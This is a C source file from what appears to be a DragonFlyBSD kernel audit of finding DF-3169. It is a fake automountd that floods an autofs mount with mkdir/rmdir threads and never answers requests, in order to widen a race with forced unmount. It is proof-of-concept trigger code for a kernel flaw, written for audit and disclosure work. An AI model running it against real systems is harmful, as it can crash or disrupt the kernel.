⬢ DragonFlyBSD Kernel Audit
DF-3169 / fake_daemon.c
← back to finding ↓ download raw
/*
 * fake_daemon.c — DF-3169 variant B: production-shaped automountd stand-in.
 *
 * plays automountd(8): opens /dev/autofs, loops on the AUTOFSREQUEST
 * ioctl, and for every received request spawns a mkdir storm on
 * <mountpoint>/<key> inside the autofs mount (automountd really does
 * mkdir the key node via vop_nmkdir -> sys/vfs/autofs/autofs_vnops.c:245).
 * It never completes the requests (the kernel timeout reaps them),
 * so triggers keep retrying -- exactly the automountd behavior that
 * widens the umount -f race window to seconds.
 *
 * Build: cc -O2 -o fake_daemon fake_daemon.c
 * Run (root): ./fake_daemon /df3169b_mp
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>

#include "autofs_ioctl.h"

static const char *g_mp;

static void *
mkdir_storm(void *arg)
{
	char *path = arg;
	int i;

	for (i = 0; i < 4000; i++) {
		if (mkdir(path, 0755) == -1 && errno == ENOENT)
			break;	/* mount gone */
		rmdir(path);
	}
	free(path);
	return (NULL);
}

int
main(int argc, char **argv)
{
	struct autofs_daemon_request req;
	pthread_t t;
	int fd;

	if (argc != 2) {
		fprintf(stderr, "usage: %s <autofs-mountpoint>\n", argv[0]);
		return (1);
	}
	g_mp = argv[1];

	if (setsid() == -1) {
		perror("setsid");
		return (1);
	}
	fd = open("/dev/autofs", O_RDWR);
	if (fd < 0) {
		perror("open /dev/autofs (kldload autofs first)");
		return (1);
	}
	fprintf(stderr, "fake_daemon: ready on %s (sid=%d)\n", g_mp, getsid(0));

	for (;;) {
		pthread_t *pt = &t;
		memset(&req, 0, sizeof(req));
		if (ioctl(fd, AUTOFSREQUEST, &req) == -1) {
			if (errno == EINTR)
				continue;
			perror("AUTOFSREQUEST");
			return (1);
		}
		fprintf(stderr, "fake_daemon: request id=%d path=%s key=%s\n",
		    req.adr_id, req.adr_path, req.adr_key);
		/* mkdir storm <mp>/<key> -- vop_nmkdir on the autofs mount */
		{
			char *path = malloc(strlen(g_mp) + strlen(req.adr_key) + 2);
			sprintf(path, "%s/%s", g_mp, req.adr_key);
			if (pthread_create(pt, NULL, mkdir_storm, path) != 0)
				pt = NULL;
		}
		/* deliberately no AUTOFSDONE: kernel timeout reaps it */
	}
}